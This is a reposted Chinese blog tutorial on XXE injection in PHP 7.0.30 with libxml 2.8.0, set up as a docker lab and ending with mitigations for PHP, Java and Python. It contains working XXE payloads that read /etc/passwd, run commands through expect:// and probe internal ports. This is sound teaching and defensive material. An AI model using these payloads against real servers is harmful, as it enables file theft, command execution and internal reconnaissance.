当前位置:   article > 正文

PHP XXE漏洞

php 7.0.30漏洞

PHP xml 外部实体注入漏洞(XXE)

1.环境

PHP 7.0.30
Libxml 2.8.0
Libxml2.9.0 以后 ,默认不解析外部实体,对于PHP版本不影响XXE的利用

2.原理介绍

XML 被设计为传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息,而 XML 旨在传输信息。XML特点,XML 被设计用来结构化、存储以及传输信息。仅仅是纯文本,有能力处理纯文本的软件都可以处理 XML。XML 允许创作者定义自己的标签和自己的文档结构。XML 是独立于软件和硬件的信息传输工具。所有现代浏览器都有读取和操作 XML 的内建 XML 解析器,但是不同的浏览器解析的方法不一样的,如在IE中使用loadXML()方法,在其他浏览器中使用DOMParser。loadXML()方法用于加载字符串文本,load()方法用于加载文件。解析器把 XML 载入内存,然后把它转换为可通过 JavaScript 访问的 XML DOM 对象。

3.漏洞危害

3.1读取任意文件

file 协议,file:///etc//passwd
php 协议,php://filter/read=convert.base64-encode/resource=index.php 

3.2执行系统命令

 部分情况会有,在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令。简单payload如下

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>
<root>
<name>&xxe;</name>
</root>

3.3探测内网端口

 借助漏洞实现内网探测,常见payload如下:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.199.100:80">]>
<root>
<name>&xxe;</name>
</root>

3.4攻击内网网站(dos或者直接吃服务器资源导致无法正常服务)

4.测试

启动并且编译环境
docker-compose up -d

看见done后,访问http://192.168.5.136:8080.index.php 可以看到phpinfo,libxml即可看到其版本为2.8.0。

Web目录位www有四个文件

├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。
源码如下:

XXE示例 payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

可以看到读取到了,root下的信息

5.解决方案和建议

5.1 使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

5.2 过滤用户提交的XML数据

如:<!DOCTYPE和<!ENTITY,SYSTEM和PUBLIC

参考

https://security.tencent.com/index.php/blog/msg/69

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008)

未来工作 

实战的配图加上

 

转载于:https://www.cnblogs.com/Rightsec/p/10263454.html

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/612720
推荐阅读
相关标签
  

闽ICP备14008679号